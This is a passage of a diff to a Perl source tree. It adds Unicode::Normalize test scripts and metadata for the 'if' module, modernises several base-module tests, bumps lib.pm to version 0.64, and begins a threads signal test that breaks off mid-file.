+my $strY = ("\x{304C}\x{0323}\x{0308}");
+ok($strY eq NFC(join('', @strY)));
+ok($strY eq arraynorm('NFC', @strY));
+ok($strY eq NFKC(join('', @strY)));
+ok($strY eq arraynorm('NFKC', @strY));
+
+my @strZ = ("\x{304B}\x{0308}", "\x{0323}", "\x{3099}");
+my $strZ = ("\x{304B}\x{3099}\x{0323}\x{0308}");
+ok($strZ eq NFD(join('', @strZ)));
+ok($strZ eq arraynorm('NFD', @strZ));
+ok($strZ eq NFKD(join('', @strZ)));
+ok($strZ eq arraynorm('NFKD', @strZ));
+
+# 18
+
+# must modify the source
+my $sNFD = "\x{FA19}";
+ok(NFD_partial($sNFD), "");
+ok($sNFD, "\x{795E}");
+
+my $sNFC = "\x{FA1B}";
+ok(NFC_partial($sNFC), "");
+ok($sNFC, "\x{798F}");
+
+my $sNFKD = "\x{FA1E}";
+ok(NFKD_partial($sNFKD), "");
+ok($sNFKD, "\x{7FBD}");
+
+my $sNFKC = "\x{FA26}";
+ok(NFKC_partial($sNFKC), "");
+ok($sNFKC, "\x{90FD}");
+
+# 26
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial2.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial2.t
new file mode 100644
index 00000000000..7f19e9365b8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial2.t
@@ -0,0 +1,116 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+BEGIN {
+ unless (5.006001 <= $]) {
+ print "1..0 # skipped: Perl 5.6.1 or later".
+ " needed for this test\n";
+ exit;
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..26\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(:all);
+
+ok(1);
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+sub _unpack_U { Unicode::Normalize::unpack_U(@_) }
+
+#########################
+
+sub arraynorm {
+ my $form = shift;
+ my @string = @_;
+ my $result = "";
+ my $unproc = "";
+ foreach my $str (@string) {
+ $unproc .= $str;
+ $result .= normalize_partial($form, $unproc);
+ }
+ $result .= $unproc;
+ return $result;
+}
+
+my $strD = "\x{3C9}\x{301}\x{1100}\x{1161}\x{11A8}\x{1100}\x{1161}\x{11AA}";
+my $strC = "\x{3CE}\x{AC01}\x{AC03}";
+my @str1 = (substr($strD,0,3), substr($strD,3,4), substr($strD,7));
+my @str2 = (substr($strD,0,1), substr($strD,1,3), substr($strD,4));
+ok($strC eq NFC($strD));
+ok($strD eq join('', @str1));
+ok($strC eq arraynorm('NFC', @str1));
+ok($strD eq join('', @str2));
+ok($strC eq arraynorm('NFC', @str2));
+
+my @strX = ("\x{300}\x{AC00}", "\x{11A8}");
+my $strX = "\x{300}\x{AC01}";
+ok($strX eq NFC(join('', @strX)));
+ok($strX eq arraynorm('NFC', @strX));
+ok($strX eq NFKC(join('', @strX)));
+ok($strX eq arraynorm('NFKC', @strX));
+
+my @strY = ("\x{304B}\x{0308}", "\x{0323}\x{3099}");
+my $strY = ("\x{304C}\x{0323}\x{0308}");
+ok($strY eq NFC(join('', @strY)));
+ok($strY eq arraynorm('NFC', @strY));
+ok($strY eq NFKC(join('', @strY)));
+ok($strY eq arraynorm('NFKC', @strY));
+
+my @strZ = ("\x{304B}\x{0308}", "\x{0323}", "\x{3099}");
+my $strZ = ("\x{304B}\x{3099}\x{0323}\x{0308}");
+ok($strZ eq NFD(join('', @strZ)));
+ok($strZ eq arraynorm('NFD', @strZ));
+ok($strZ eq NFKD(join('', @strZ)));
+ok($strZ eq arraynorm('NFKD', @strZ));
+
+# 18
+
+# must modify the source
+my $sNFD = "\x{FA19}";
+ok(normalize_partial('NFD', $sNFD), "");
+ok($sNFD, "\x{795E}");
+
+my $sNFC = "\x{FA1B}";
+ok(normalize_partial('NFC', $sNFC), "");
+ok($sNFC, "\x{798F}");
+
+my $sNFKD = "\x{FA1E}";
+ok(normalize_partial('NFKD', $sNFKD), "");
+ok($sNFKD, "\x{7FBD}");
+
+my $sNFKC = "\x{FA26}";
+ok(normalize_partial('NFKC', $sNFKC), "");
+ok($sNFKC, "\x{90FD}");
+
+# 26
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/proto.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/proto.t
new file mode 100644
index 00000000000..38c69857599
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/proto.t
@@ -0,0 +1,99 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..48\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(:all);
+
+ok(1);
+
+#########################
+
+# unary op. RING-CEDILLA
+ok( "\x{30A}\x{327}" ne "\x{327}\x{30A}");
+ok(NFD "\x{30A}\x{327}" eq "\x{327}\x{30A}");
+ok(NFC "\x{30A}\x{327}" eq "\x{327}\x{30A}");
+ok(NFKD "\x{30A}\x{327}" eq "\x{327}\x{30A}");
+ok(NFKC "\x{30A}\x{327}" eq "\x{327}\x{30A}");
+ok(FCD "\x{30A}\x{327}" eq "\x{327}\x{30A}");
+ok(FCC "\x{30A}\x{327}" eq "\x{327}\x{30A}");
+ok(reorder "\x{30A}\x{327}" eq "\x{327}\x{30A}");
+
+# 9
+
+ok(prototype \&normalize,'$$');
+ok(prototype \&NFD, '$');
+ok(prototype \&NFC, '$');
+ok(prototype \&NFKD, '$');
+ok(prototype \&NFKC, '$');
+ok(prototype \&FCD, '$');
+ok(prototype \&FCC, '$');
+
+ok(prototype \&check, '$$');
+ok(prototype \&checkNFD, '$');
+ok(prototype \&checkNFC, '$');
+ok(prototype \&checkNFKD,'$');
+ok(prototype \&checkNFKC,'$');
+ok(prototype \&checkFCD, '$');
+ok(prototype \&checkFCC, '$');
+
+ok(prototype \&decompose, '$;$');
+ok(prototype \&reorder, '$');
+ok(prototype \&compose, '$');
+ok(prototype \&composeContiguous, '$');
+
+# 27
+
+ok(prototype \&getCanon, '$');
+ok(prototype \&getCompat, '$');
+ok(prototype \&getComposite, '$$');
+ok(prototype \&getCombinClass,'$');
+ok(prototype \&isExclusion, '$');
+ok(prototype \&isSingleton, '$');
+ok(prototype \&isNonStDecomp, '$');
+ok(prototype \&isComp2nd, '$');
+ok(prototype \&isComp_Ex, '$');
+ok(prototype \&isNFD_NO, '$');
+ok(prototype \&isNFC_NO, '$');
+ok(prototype \&isNFC_MAYBE, '$');
+ok(prototype \&isNFKD_NO, '$');
+ok(prototype \&isNFKC_NO, '$');
+ok(prototype \&isNFKC_MAYBE, '$');
+ok(prototype \&splitOnLastStarter, undef);
+ok(prototype \&normalize_partial, '$$');
+ok(prototype \&NFD_partial, '$');
+ok(prototype \&NFC_partial, '$');
+ok(prototype \&NFKD_partial, '$');
+ok(prototype \&NFKC_partial, '$');
+
+# 48
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/split.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/split.t
new file mode 100644
index 00000000000..a92957c2081
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/split.t
@@ -0,0 +1,147 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+BEGIN {
+ unless (5.006001 <= $]) {
+ print "1..0 # skipped: Perl 5.6.1 or later".
+ " needed for this test\n";
+ exit;
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..34\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(:all);
+
+ok(1);
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+sub _unpack_U { Unicode::Normalize::unpack_U(@_) }
+
+#########################
+
+our $proc; # before the last starter
+our $unproc; # the last starter and after
+# If string has no starter, entire string is set to $unproc.
+
+($proc, $unproc) = splitOnLastStarter("");
+ok($proc, "");
+ok($unproc, "");
+
+($proc, $unproc) = splitOnLastStarter("A");
+ok($proc, "");
+ok($unproc, "A");
+
+($proc, $unproc) = splitOnLastStarter(_pack_U(0x41, 0x300, 0x327, 0x42));
+ok($proc, _pack_U(0x41, 0x300, 0x327));
+ok($unproc, "B");
+
+($proc, $unproc) = splitOnLastStarter(_pack_U(0x4E00, 0x41, 0x301));
+ok($proc, _pack_U(0x4E00));
+ok($unproc, _pack_U(0x41, 0x301));
+
+($proc, $unproc) = splitOnLastStarter(_pack_U(0x302, 0x301, 0x300));
+ok($proc, "");
+ok($unproc, _pack_U(0x302, 0x301, 0x300));
+
+our $ka_grave = _pack_U(0x41, 0, 0x42, 0x304B, 0x300);
+our $dakuten = _pack_U(0x3099);
+our $ga_grave = _pack_U(0x41, 0, 0x42, 0x304C, 0x300);
+
+our ($p, $u) = splitOnLastStarter($ka_grave);
+our $concat = $p . NFC($u.$dakuten);
+
+ok(NFC($ka_grave.$dakuten) eq $ga_grave);
+ok(NFC($ka_grave).NFC($dakuten) ne $ga_grave);
+ok($concat eq $ga_grave);
+
+# 14
+
+sub arraynorm {
+ my $form = shift;
+ my @string = @_;
+ my $result = "";
+ my $unproc = "";
+ foreach my $str (@string) {
+ $unproc .= $str;
+ my $n = normalize($form, $unproc);
+ my($p, $u) = splitOnLastStarter($n);
+ $result .= $p;
+ $unproc = $u;
+ }
+ $result .= $unproc;
+ return $result;
+}
+
+my $strD = "\x{3C9}\x{301}\x{1100}\x{1161}\x{11A8}\x{1100}\x{1161}\x{11AA}";
+my $strC = "\x{3CE}\x{AC01}\x{AC03}";
+my @str1 = (substr($strD,0,3), substr($strD,3,4), substr($strD,7));
+my @str2 = (substr($strD,0,1), substr($strD,1,3), substr($strD,4));
+ok($strC eq NFC($strD));
+ok($strD eq join('', @str1));
+ok($strC eq arraynorm('NFC', @str1));
+ok($strD eq join('', @str2));
+ok($strC eq arraynorm('NFC', @str2));
+
+my @strX = ("\x{300}\x{AC00}", "\x{11A8}");
+my $strX = "\x{300}\x{AC01}";
+ok($strX eq NFC(join('', @strX)));
+ok($strX eq arraynorm('NFC', @strX));
+ok($strX eq NFKC(join('', @strX)));
+ok($strX eq arraynorm('NFKC', @strX));
+
+my @strY = ("\x{304B}\x{0308}", "\x{0323}\x{3099}");
+my $strY = ("\x{304C}\x{0323}\x{0308}");
+ok($strY eq NFC(join('', @strY)));
+ok($strY eq arraynorm('NFC', @strY));
+ok($strY eq NFKC(join('', @strY)));
+ok($strY eq arraynorm('NFKC', @strY));
+
+my @strZ = ("\x{304B}\x{0308}", "\x{0323}", "\x{3099}");
+my $strZ = ("\x{304B}\x{3099}\x{0323}\x{0308}");
+ok($strZ eq NFD(join('', @strZ)));
+ok($strZ eq arraynorm('NFD', @strZ));
+ok($strZ eq NFKD(join('', @strZ)));
+ok($strZ eq arraynorm('NFKD', @strZ));
+
+# 31
+
+# don't modify the source
+
+my $source = "ABC";
+($proc, $unproc) = splitOnLastStarter($source);
+ok($proc, "AB");
+ok($unproc, "C");
+ok($source, "ABC");
+
+# 34
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/test.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/test.t
new file mode 100644
index 00000000000..cb4b6ea6375
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/test.t
@@ -0,0 +1,168 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..72\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize;
+
+ok(1);
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+sub _unpack_U { Unicode::Normalize::unpack_U(@_) }
+
+#########################
+
+ok(NFD(""), "");
+ok(NFC(""), "");
+ok(NFKD(""), "");
+ok(NFKC(""), "");
+
+ok(NFD("A"), "A");
+ok(NFC("A"), "A");
+ok(NFKD("A"), "A");
+ok(NFKC("A"), "A");
+
+# 9
+
+# don't modify the source
+my $sNFD = "\x{FA19}";
+ok(NFD($sNFD), "\x{795E}");
+ok($sNFD, "\x{FA19}");
+
+my $sNFC = "\x{FA1B}";
+ok(NFC($sNFC), "\x{798F}");
+ok($sNFC, "\x{FA1B}");
+
+my $sNFKD = "\x{FA1E}";
+ok(NFKD($sNFKD), "\x{7FBD}");
+ok($sNFKD, "\x{FA1E}");
+
+my $sNFKC = "\x{FA26}";
+ok(NFKC($sNFKC), "\x{90FD}");
+ok($sNFKC, "\x{FA26}");
+
+# 17
+
+sub hexNFC {
+ join " ", map sprintf("%04X", $_),
+ _unpack_U NFC _pack_U map hex, split ' ', shift;
+}
+sub hexNFD {
+ join " ", map sprintf("%04X", $_),
+ _unpack_U NFD _pack_U map hex, split ' ', shift;
+}
+
+ok(hexNFD("1E14 AC01"), "0045 0304 0300 1100 1161 11A8");
+ok(hexNFD("AC00 AE00"), "1100 1161 1100 1173 11AF");
+
+ok(hexNFC("0061 0315 0300 05AE 05C4 0062"), "00E0 05AE 05C4 0315 0062");
+ok(hexNFC("00E0 05AE 05C4 0315 0062"), "00E0 05AE 05C4 0315 0062");
+ok(hexNFC("0061 05AE 0300 05C4 0315 0062"), "00E0 05AE 05C4 0315 0062");
+ok(hexNFC("0045 0304 0300 AC00 11A8"), "1E14 AC01");
+ok(hexNFC("1100 1161 1100 1173 11AF"), "AC00 AE00");
+ok(hexNFC("1100 0300 1161 1173 11AF"), "1100 0300 1161 1173 11AF");
+
+ok(hexNFD("0061 0315 0300 05AE 05C4 0062"), "0061 05AE 0300 05C4 0315 0062");
+ok(hexNFD("00E0 05AE 05C4 0315 0062"), "0061 05AE 0300 05C4 0315 0062");
+ok(hexNFD("0061 05AE 0300 05C4 0315 0062"), "0061 05AE 0300 05C4 0315 0062");
+ok(hexNFC("0061 05C4 0315 0300 05AE 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFC("0061 05AE 05C4 0300 0315 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFD("0061 05C4 0315 0300 05AE 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFD("0061 05AE 05C4 0300 0315 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFC("0000 0041 0000 0000"), "0000 0041 0000 0000");
+ok(hexNFD("0000 0041 0000 0000"), "0000 0041 0000 0000");
+
+ok(hexNFC("AC00 11A7"), "AC00 11A7");
+ok(hexNFC("AC00 11A8"), "AC01");
+ok(hexNFC("AC00 11A9"), "AC02");
+ok(hexNFC("AC00 11C2"), "AC1B");
+ok(hexNFC("AC00 11C3"), "AC00 11C3");
+
+# 39
+
+# Test Cases from Public Review Issue #29: Normalization Issue
+# cf. http://www.unicode.org/review/pr-29.html
+ok(hexNFC("0B47 0300 0B3E"), "0B47 0300 0B3E");
+ok(hexNFC("1100 0300 1161"), "1100 0300 1161");
+ok(hexNFC("0B47 0B3E 0300"), "0B4B 0300");
+ok(hexNFC("1100 1161 0300"), "AC00 0300");
+ok(hexNFC("0B47 0300 0B3E 0327"), "0B47 0300 0B3E 0327");
+ok(hexNFC("1100 0300 1161 0327"), "1100 0300 1161 0327");
+
+ok(hexNFC("0300 0041"), "0300 0041");
+ok(hexNFC("0300 0301 0041"), "0300 0301 0041");
+ok(hexNFC("0301 0300 0041"), "0301 0300 0041");
+ok(hexNFC("0000 0300 0000 0301"), "0000 0300 0000 0301");
+ok(hexNFC("0000 0301 0000 0300"), "0000 0301 0000 0300");
+
+ok(hexNFC("0327 0061 0300"), "0327 00E0");
+ok(hexNFC("0301 0061 0300"), "0301 00E0");
+ok(hexNFC("0315 0061 0300"), "0315 00E0");
+ok(hexNFC("0000 0327 0061 0300"), "0000 0327 00E0");
+ok(hexNFC("0000 0301 0061 0300"), "0000 0301 00E0");
+ok(hexNFC("0000 0315 0061 0300"), "0000 0315 00E0");
+
+# 56
+
+# NFC() and NFKC() should be unary.
+my $str11 = _pack_U(0x41, 0x0302, 0x0301, 0x62);
+my $str12 = _pack_U(0x1EA4, 0x62);
+ok(NFC $str11 eq $str12);
+ok(NFKC $str11 eq $str12);
+
+# NFD() and NFKD() should be unary.
+my $str21 = _pack_U(0xE0, 0xAC00);
+my $str22 = _pack_U(0x61, 0x0300, 0x1100, 0x1161);
+ok(NFD $str21 eq $str22);
+ok(NFKD $str21 eq $str22);
+
+# 60
+
+## Bug #53197: NFKC("\x{2000}") produces...
+
+ok(NFKC("\x{2002}") eq ' ');
+ok(NFKD("\x{2002}") eq ' ');
+ok(NFKC("\x{2000}") eq ' ');
+ok(NFKD("\x{2000}") eq ' ');
+
+ok(NFKC("\x{210C}") eq 'H');
+ok(NFKD("\x{210C}") eq 'H');
+ok(NFKC("\x{210D}") eq 'H');
+ok(NFKD("\x{210D}") eq 'H');
+
+ok(NFC("\x{F907}") eq "\x{9F9C}");
+ok(NFD("\x{F907}") eq "\x{9F9C}");
+ok(NFKC("\x{F907}") eq "\x{9F9C}");
+ok(NFKD("\x{F907}") eq "\x{9F9C}");
+
+# 72
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/tie.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/tie.t
new file mode 100644
index 00000000000..4fdd121e07e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/tie.t
@@ -0,0 +1,82 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+BEGIN {
+ use Unicode::Normalize qw(:all);
+
+ unless (exists &Unicode::Normalize::bootstrap or 5.008 <= $]) {
+ print "1..0 # skipped: XSUB, or Perl 5.8.0 or later".
+ " needed for this test\n";
+ print $@;
+ exit;
+ }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..17\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+ok(1);
+
+package tiescalar;
+sub TIESCALAR {
+ my ($class, $instance) = @_;
+ return bless \$instance => $class;
+}
+sub FETCH { return ${$_[0]}++ }
+sub STORE { return ${$_[0]} = $_[1] }
+sub DESTROY { undef ${$_[0]} }
+
+#########################
+
+package main;
+
+tie my $tie1, 'tiescalar', "123";
+ok(NFD($tie1), 123);
+ok(NFC($tie1), 124);
+ok(NFKD($tie1), 125);
+ok(NFKC($tie1), 126);
+ok(FCD($tie1), 127);
+ok(FCC($tie1), 128);
+
+tie my $tie2, 'tiescalar', "256";
+ok(normalize('NFD', $tie2), 256);
+ok(normalize('NFC', $tie2), 257);
+ok(normalize('NFKD', $tie2), 258);
+ok(normalize('NFKC', $tie2), 259);
+ok(normalize('FCD', $tie2), 260);
+ok(normalize('FCC', $tie2), 261);
+
+tie my $tie3, 'tiescalar', "315";
+ok(decompose($tie3), 315);
+ok(reorder($tie3), 316);
+ok(compose($tie3), 317);
+ok(composeContiguous($tie3), 318);
+
diff --git a/gnu/usr.bin/perl/dist/base/t/base-open-chunk.t b/gnu/usr.bin/perl/dist/base/t/base-open-chunk.t
index ef6c25d201b..9bc707bfaed 100644
--- a/gnu/usr.bin/perl/dist/base/t/base-open-chunk.t
+++ b/gnu/usr.bin/perl/dist/base/t/base-open-chunk.t
@@ -7,7 +7,7 @@ $/ = \1;
<$fh>;
(my $test_file = $file) =~ s/-open-chunk//;
-unless (my $return = do $test_file) {
+unless (my $return = do "./$test_file") {
warn "couldn't parse $test_file: $@" if $@;
warn "couldn't do $test_file: $!" unless defined $return;
warn "couldn't run $test_file" unless $return;
diff --git a/gnu/usr.bin/perl/dist/base/t/base-open-line.t b/gnu/usr.bin/perl/dist/base/t/base-open-line.t
index ce6cf1538d4..fa49ee72ff5 100644
--- a/gnu/usr.bin/perl/dist/base/t/base-open-line.t
+++ b/gnu/usr.bin/perl/dist/base/t/base-open-line.t
@@ -5,7 +5,7 @@ open my $fh, '<', $file or die "Can't open $file: $!";
<$fh>;
(my $test_file = $file) =~ s/-open-line//;
-unless (my $return = do $test_file) {
+unless (my $return = do "./$test_file") {
warn "couldn't parse $test_file: $@" if $@;
warn "couldn't do $test_file: $!" unless defined $return;
warn "couldn't run $test_file" unless $return;
diff --git a/gnu/usr.bin/perl/dist/base/t/base.t b/gnu/usr.bin/perl/dist/base/t/base.t
index 0bbb5be9478..c56e9acb4d2 100755
--- a/gnu/usr.bin/perl/dist/base/t/base.t
+++ b/gnu/usr.bin/perl/dist/base/t/base.t
@@ -8,7 +8,7 @@ use_ok('base');
package No::Version;
-use vars qw($Foo);
+our $Foo;
sub VERSION { 42 }
package Test::Version;
diff --git a/gnu/usr.bin/perl/dist/base/t/fields-5_6_0.t b/gnu/usr.bin/perl/dist/base/t/fields-5_6_0.t
index 93bca34e2e0..1f7d9678517 100755
--- a/gnu/usr.bin/perl/dist/base/t/fields-5_6_0.t
+++ b/gnu/usr.bin/perl/dist/base/t/fields-5_6_0.t
@@ -8,7 +8,7 @@ if( $] >= 5.009 ) {
}
use strict;
-use vars qw($Total_tests);
+our $Total_tests;
my $test_num = 1;
BEGIN { $| = 1; $^W = 1; }
@@ -62,7 +62,7 @@ BEGIN {
}
use strict;
-use vars qw($DEBUG);
+our $DEBUG;
package B1;
use fields qw(b1 b2 b3);
diff --git a/gnu/usr.bin/perl/dist/base/t/fields-5_8_0.t b/gnu/usr.bin/perl/dist/base/t/fields-5_8_0.t
index 9abab94d393..2888ead9a82 100755
--- a/gnu/usr.bin/perl/dist/base/t/fields-5_8_0.t
+++ b/gnu/usr.bin/perl/dist/base/t/fields-5_8_0.t
@@ -22,7 +22,7 @@ BEGIN {
}
use strict;
-use vars qw($DEBUG);
+our $DEBUG;
package B1;
use fields qw(b1 b2 b3);
diff --git a/gnu/usr.bin/perl/dist/if/MANIFEST b/gnu/usr.bin/perl/dist/if/MANIFEST
new file mode 100644
index 00000000000..e2fa5ba37a6
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/if/MANIFEST
@@ -0,0 +1,8 @@
+Changes
+if.pm
+LICENSE
+Makefile.PL
+MANIFEST
+META.json Module meta-data (added by MakeMaker)
+META.yml Module meta-data (added by MakeMaker)
+t/if.t
diff --git a/gnu/usr.bin/perl/dist/if/META.json b/gnu/usr.bin/perl/dist/if/META.json
new file mode 100644
index 00000000000..7e9e3ebfad2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/if/META.json
@@ -0,0 +1,43 @@
+{
+ "abstract" : "C<use> a Perl module if a condition holds",
+ "author" : [
+ "Ilya Zakharevich <ilyaz@cpan.org>"
+ ],
+ "dynamic_config" : 0,
+ "generated_by" : "ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010",
+ "license" : [
+ "perl_5"
+ ],
+ "meta-spec" : {
+ "url" : "http://search.cpan.org/perldoc?CPAN::Meta::Spec",
+ "version" : "2"
+ },
+ "name" : "if",
+ "no_index" : {
+ "directory" : [
+ "t",
+ "inc"
+ ]
+ },
+ "prereqs" : {
+ "build" : {
+ "requires" : {
+ "ExtUtils::MakeMaker" : "0"
+ }
+ },
+ "configure" : {
+ "requires" : {
+ "ExtUtils::MakeMaker" : "0"
+ }
+ }
+ },
+ "release_status" : "stable",
+ "resources" : {
+ "bugtracker" : {
+ "web" : "https://rt.perl.org"
+ },
+ "repository" : {}
+ },
+ "version" : "0.0608",
+ "x_serialization_backend" : "JSON::PP version 2.27400_02"
+}
diff --git a/gnu/usr.bin/perl/dist/if/META.yml b/gnu/usr.bin/perl/dist/if/META.yml
new file mode 100644
index 00000000000..d85cfc66873
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/if/META.yml
@@ -0,0 +1,23 @@
+---
+abstract: 'C<use> a Perl module if a condition holds'
+author:
+ - 'Ilya Zakharevich <ilyaz@cpan.org>'
+build_requires:
+ ExtUtils::MakeMaker: '0'
+configure_requires:
+ ExtUtils::MakeMaker: '0'
+dynamic_config: 0
+generated_by: 'ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010'
+license: perl
+meta-spec:
+ url: http://module-build.sourceforge.net/META-spec-v1.4.html
+ version: '1.4'
+name: if
+no_index:
+ directory:
+ - t
+ - inc
+resources:
+ bugtracker: https://rt.perl.org
+version: '0.0608'
+x_serialization_backend: 'CPAN::Meta::YAML version 0.018'
diff --git a/gnu/usr.bin/perl/dist/lib/lib_pm.PL b/gnu/usr.bin/perl/dist/lib/lib_pm.PL
index 8706e82e447..a4c5cc38a74 100644
--- a/gnu/usr.bin/perl/dist/lib/lib_pm.PL
+++ b/gnu/usr.bin/perl/dist/lib/lib_pm.PL
@@ -61,7 +61,7 @@ if ($expand_config_vars) {
q(reverse split / /, $Config{inc_version_list});
}
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT,'>', $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
@@ -86,7 +86,7 @@ my \@inc_version_list = $Config_inc_version_list;
print OUT <<'!NO!SUBS!';
our @ORIG_INC = @INC; # take a handy copy of 'original' value
-our $VERSION = '0.63';
+our $VERSION = '0.64';
sub import {
shift;
diff --git a/gnu/usr.bin/perl/dist/threads/t/kill3.t b/gnu/usr.bin/perl/dist/threads/t/kill3.t
new file mode 100644
index 00000000000..61c96e58cb9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/threads/t/kill3.t
@@ -0,0 +1,121 @@
+use strict;
+use warnings;
+
+BEGIN {
+ require($ENV{PERL_CORE} ? '../../t/test.pl' : './t/test.pl');
+
+ use Config;
+ if (! $Config{'useithreads'}) {
+ skip_all(q/Perl not compiled with 'useithreads'/);
+ }
+}
+
+use ExtUtils::testlib;
+use File::Path ();
+use File::Spec;
+use Cwd;
+my $cwd = cwd();
+
+use threads;
+
+BEGIN {
+ if (! eval 'use threads::shared; 1') {
+ skip_all('threads::shared not available');
+ }
+
+ local $SIG{'HUP'} = sub {};
+ my $thr = threads->create(sub {});
+ eval { $thr->kill('HUP') };
+ $thr->join();
+ if ($@ && $@ =~ /safe signals/) {
+ skip_all('Not using safe signals');
+ }
+
+ plan(2);
+};
+
+{
+ $SIG{'KILL'} = undef;
+ my $tmp = File::Spec->tmpdir();
+ chdir $tmp;
+ my $dir = File::Spec->catdir( $tmp, "toberead$$" );
+ mkdir $dir;
+ chdir $dir;
+ for ('a'..'e') {
+ open my $THING, ">$_";
+ close $THING or die "$_: $!";
+ }
+ chdir $cwd;
+
+ local $ARGV[0] = undef;
+ fresh_perl_is(<<'EOI', 'ok', { }, 'RT #77934: Case: Perl-false $ARGV[0]');
+ local $@;
+ my $DIRH;
+ my $thr;
+ $thr = async {
+ # Thread 'cancellation' signal handler
